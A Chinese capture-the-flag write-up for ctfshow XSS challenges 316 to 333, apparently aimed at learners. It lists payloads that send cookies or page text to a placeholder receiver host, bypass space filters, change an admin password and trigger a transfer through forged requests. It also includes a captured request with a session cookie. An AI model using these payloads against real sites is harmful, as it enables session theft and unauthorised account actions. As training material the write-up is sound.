CTFSHOW WP
题目的原理就是靶机的bot每隔一段时间访问输入的内容,模拟了反射型XSS
316.需要配套接收端XSS脚本
如果未过滤script且对外部资源加载无限制的情况下,可以指定src
为精心准备的JS文件,使其加载,产生携带COOKIE的请求。
本解法直接将产生请求写在了表层。
<script>document.location.href='http://xxxxxxxxxxxxxxxxxxxx/x.php?1='+document.cookie</script>
317、318、319
<body onload="document.location.href='http://xxxxxxxxxxxxxxxxx/x.php?1='+document.cookie"></body>
320、321、322、323、324、325、326
空格过滤
可用tab
,/**/
等绕过
实测iframe,script,blog被过滤
<body/**/οnlοad="document.location.href='http://xxxxxxxxxxxx/x.php?1='+document.cookie"></body>
<body/οnlοad="document.location.href='http://xxxxxxxxxxxxx/x.php?1='+document.cookie"></body>
327
收件人admin
328、329、330
329会在访问后注销COOKIE
思路一
<script>document.location.href='http://xxxxxxxxxxxxxxxxxxx/x2.php?1='+document.cookie;</script>
XSS获取到管理员COOKIE,PHP令牌
1.在存储中修改COOKIE(),直接读取数据(前提是无转跳,或调试器暂停,麻烦)。
2.使用BURP修改字段,获取数据包。
GET /api/?page=1&limit=10 HTTP/1.1
Host: 132c79d6-1033-4025-8af1-8ff1a41d8b6b.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://132c79d6-1033-4025-8af1-8ff1a41d8b6b.challenge.ctf.show:8080/manager.php
Cookie: PHPSESSID=0ifvs3fbmklc4fpg6shrpr7qal
TIP:关于异步(加深了解可写项目或看项目),页面框架获取和数据拉取填充是异步进行的,不在同一个数据包中,如果通过BURP完成此题,请注意数据包是否为获取指定数据。
思路二
将页面指定部分直接发送到XSS平台
经分析,flag大概率在document.body.innerText
,且数据量不大
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fKO7KrXj-1626010948636)(XSS详细教程/QQ截图20210707093956.png)]
<script>document.location.href='http://xxxxxxxxxxxxxxxxxxx/x.php?1='+document.body.innerText;</script>
<script>document.location.href='http://xxxxxxxxxxxxxxxxxxx/x.php?1='+document.body.textContent;</script>
<script>document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent</script>
// 329
<script>$('.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('{')>-1){document.location.href='http://xxxxxxxxxxxxxxxxxxxxxxxxx/x.php?1='+value.innerHTML;}});</script>
// 定义sleep函数,转跳,睡眠,接口通信,然而由于机器人不用浏览器未实现,如果是真人则可行
<script>function sleep(numberMillis) {var now = new Date();var exitTime=now.getTime() + numberMillis;while (true) {now = new Date();if (now.getTime() > exitTime)return;}};window.location.href="manager.php";sleep(1000);$('.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('{')>-1){document.location.href='http://xxxxxxxxxxxxxxxxxxxxxxxx/x.php?1='+value.innerHTML;}});</script>
TIP:经查阅资料,HTTP协议并未对GET方法的URL传参长度进行限制,不过数据量过大可能被捕获或通信变慢(Dos了就不好了)。
330、331
改密码
<script>document.location.href='/api/change.php?p=123456'</script>
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}});</script>
332、333
改密码(出问题)
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}});</script>
对方转账
<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'admin2',a:'9999'}});</script>